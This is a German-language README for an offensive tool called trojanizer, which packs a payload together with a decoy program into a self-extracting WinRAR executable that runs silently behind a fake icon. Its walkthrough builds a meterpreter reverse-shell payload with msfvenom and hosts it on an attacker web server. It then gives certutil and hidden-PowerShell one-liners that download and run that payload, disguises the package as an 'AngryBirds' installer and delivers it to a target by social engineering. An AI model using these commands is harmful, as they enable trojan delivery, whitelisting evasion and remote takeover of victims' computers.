trojanizer

Version: v1.1 (Stabil)
Author : pedro ubuntu  [ r00t-3xp10it ]
Codename: Troia_Revisited
Unterstützte Distributionen: Ubuntu, Kali, Mint, Parrot OS
Suspicious-Shell-Activity (SSA) RedTeam entwickelt @2017

Das Trojanizer-Tool verwendet WinRAR (SFX), um die beiden vom Benutzer eingegebenen Dateien zu komprimieren,
und wandelt sie in ein SFX-ausführbares (.exe) Archiv um. Das SFX-Archiv führt bei Ausführung
beide Dateien (unseren Payload und die legitime Anwendung gleichzeitig) aus.

Um das Archiv für das Ziel bei der Ausführung weniger verdächtig zu machen, wird Trojanizer
versuchen, das Standard-Icon (.ico) der SFX-Datei durch ein benutzergewähltes zu ersetzen,
und alle SFX-Sandbox-Meldungen unterdrücken (Silent=1 | Overwrite=1).

Zenity (bash-GUIs) | Wine (x86|x64) | WinRAr.exe (installiert-in-wine)
"Trojanizer.sh wird alle Abhängigkeiten nach Bedarf herunterladen/installieren"
╔────────────────────────────────────────────────────────────────────────────────────────────╗
|        Es wird empfohlen, die Option SYSTEM_ARCH=[ your_sys_arch ] in der 'settings'-Datei  |
|        zu bearbeiten und zu konfigurieren, bevor Sie das Tool zum ersten Mal ausführen.      |
╚────────────────────────────────────────────────────────────────────────────────────────────╝

.exe | .bat | .vbs | .ps1
"Alle Payloads, die Windows/SFX automatisch extrahieren und ausführen können"

HINWEIS: Wenn in der Settings-Datei 'SINGLE_EXEC=ON' ausgewählt ist,
akzeptiert Trojanizer jede Art von Dateierweiterung.

.exe | .bat | .vbs | .ps1 | .jpg | .bmp | .doc | .ppt | usw..
"Alle Anwendungen, die Windows/SFX automatisch extrahieren und ausführen können"

╔─────────────────────────────────────────────────────────────────────────────────────────╗
|         Die erweiterten Optionen von Trojanizer sind nur in der 'settings'-Datei zugänglich, |
|       und können nur vor dem Ausführen des Haupttools (Trojanizer.sh) konfiguriert werden.  |
╚─────────────────────────────────────────────────────────────────────────────────────────╝

╔────────────────────────────────────────────────────────────────────────────────────────────────╗
|  Das Standardverhalten des Single_file_execution-Schalters besteht darin, die beiden vom Benutzer  |
|  eingegebenen Dateien zu komprimieren, aber nur eine davon bei der Extraktion auszuführen (die 2. |
|  eingegebene Datei wird ausgeführt) ..                                                           |
╚────────────────────────────────────────────────────────────────────────────────────────────────╝

╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
|   Eine Menge großartiger Arbeit wurde von vielen Leuten geleistet, insbesondere @subTee, im Bereich der Umgehung   |
|   der Anwendungs-Whitelist, was letztendlich das ist, was wir hier wollen: Ausführen von beliebigem Code unter    |
|   Missbrauch von in Microsoft integrierten Binärdateien.                                                          |
| https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/ |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝

Die folgende Übung beschreibt, wie man die erweiterten Schalter 'single_file_execution' und 'Presetup' von Trojanizer
nutzt, um jeden Payload (Remote-Download) mithilfe von 'certutil'- oder 'powershell'-Anwendungs-Whitelisting-
Umgehungs-Onelinern herunterzuladen und auszuführen ..


1° - Verwenden von metasploit, um unseren Payload zu erstellen
     msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.69 LPORT=666 -f exe -o payload.exe

2° - payload.exe in das Apache2-Webroot kopieren und Dienst starten
     cp payload.exe /var/www/html/payload.exe
     service apache2 start

3° - Trojanizer 'settings'-Datei bearbeiten und aktivieren:
     PRE_SETUP=ON
     SINGLE_EXEC=ON

4° - Trojanizer-Tool ausführen
     ZU KOMPRIMIERENDER PAYLOAD => <pfad-zu>/screenshot.png (Es spielt keine Rolle, was Sie komprimieren)
     DIESE DATEI BEI EXTRAKTION AUSFÜHREN => <pfad-zu>/AngryBirds.exe (wird als Köder-Anwendung ausgeführt)
     PRESETUP-SANDBOX => cmd.exe /c certutil -urlcache -split -f http://192.168.1.69/payload.exe %TEMP%\\payload.exe && start %TEMP%\\payload.exe
     SFX-DATEINAME => AngryBirds_installer (der Name des zu erstellenden SFX-Archivs)
     ICON ERSETZEN => Windows-Store.ico ODER Steam-logo.ico

5° - Einen Listener starten und das SFX-Archiv mit Social Engineering an das Ziel senden
     msfconsole -x 'use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set lhost 192.168.1.69; set lport 666; exploit'


╔────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╗
|      Wenn das SFX-Archiv ausgeführt wird, lädt es payload.exe von unserem Apache2-Webserver auf das Ziel herunter  |
|    und führt es aus, bevor 'screenshot.png' und 'AngryBirds.exe' extrahiert werden (letzteres wird als Köder        |
|    ausgeführt).                                                                                                    |
╚────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╝


Der folgende Oneliner verwendet die 'powershell(Downloadfile+start)'-Methode, um das gleiche Ergebnis wie bei der vorherigen 'certutil'-Übung zu erzielen ..
cmd.exe /c powershell.exe -w hidden -c (new-object System.Net.WebClient).Downloadfile('http://192.168.1.69/payload.exe', '%TEMP%\\payload.exe') & start '%TEMP%\\payload.exe'

Der folgende Oneliner verwendet die 'powershell(IEX+downloadstring)'-Methode, um fast das Gleiche zu erreichen (payload.ps1 berührt die Festplatte nicht)
cmd.exe /c powershell.exe -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.69/payload.ps1'))"

1° - Framework von GitHub herunterladen
     git clone https://github.com/r00t-3xp10it/trojanizer.git

2° - Dateien Ausführungsberechtigungen setzen
     cd trojanizer
     sudo chmod +x *.sh

3° - Framework konfigurieren
     nano settings

4° - Haupttool ausführen
     sudo ./Trojanizer.sh